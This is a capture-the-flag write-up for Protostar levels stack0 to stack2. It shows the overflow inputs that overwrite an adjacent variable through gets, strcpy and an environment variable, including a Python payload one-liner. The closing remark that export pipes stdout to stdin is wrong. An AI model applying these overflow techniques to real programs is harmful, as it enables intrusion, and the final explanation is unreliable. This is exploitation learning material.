Stack0 Writeup

1. Navigate to /opt/protostar/bin
2. Execute vi stack0 to confirm it is an ELF
3. It is actually quite small so strings stack0 reveals everything

```
$ strings stack0
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
gets
puts
__libc_start_main
GLIBC_2.0
PTRh@
[^_]
you have changed the 'modified' variable
Try again?
```

4. It appears unsecure input is read with gets, and our goal is to modify some variable. Probably, it just saves to some buffer and we just need to write “too much input.”

```
$ ./stack0
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Try again?
```

Maybe make it more?

```
$ ./stack0
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
you have changed the 'modified' variable
Segmentation fault
```

Success!

Stack1 writeup

The stack0 approach was highly successful, so let’s try something similar.
Strings doesn’t reveal anything terribly interesting.

```
please specify an argument
you have correctly got the variable to the right value
Try again, you got 0x%08x
```

Appears to be the same drill except for we’re overflowing argv (presumably strcpy into buffer)

```
$ ./stack1 test
Try again, you got 0x00000000
$ ./stack1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaa
Try again, you got 0x61616161
```

Checking the source code, we want:

```
if(modified == 0x61626364) {
```

and the buffer is 64 chars. So we want to input ax64 followed by abcd

```
$ ./stack1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabcd
Try again, you got 0x64636261
```

oops

```
$ ./stack1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadcba
you have correctly got the variable to the right value
```

There we go

Stack2 Writeup

We check stack2 source code and it's the same drill except for an environment variable this time.
This time, after the 64 char buffer, it wants ascii-10, ascii-13, ascii-10, ascii-13. We can do this with a bit of python:

```
root@protostar:/opt/protostar/bin# export GREENIE=$(python -c "print 'a'*64+chr(
11)+chr(13)+chr(11)+chr(13)")
root@protostar:/opt/protostar/bin# ./stack2
Try again, you got 0x0d0b0d0b
root@protostar:/opt/protostar/bin# export GREENIE=$(python -c "print 'a'*64+chr(
10)+chr(13)+chr(10)+chr(13)")
root@protostar:/opt/protostar/bin# ./stack2
you have correctly modified the variable
```

The export command sets an environment variable and pipes stdout to stdin. Second try's the charm.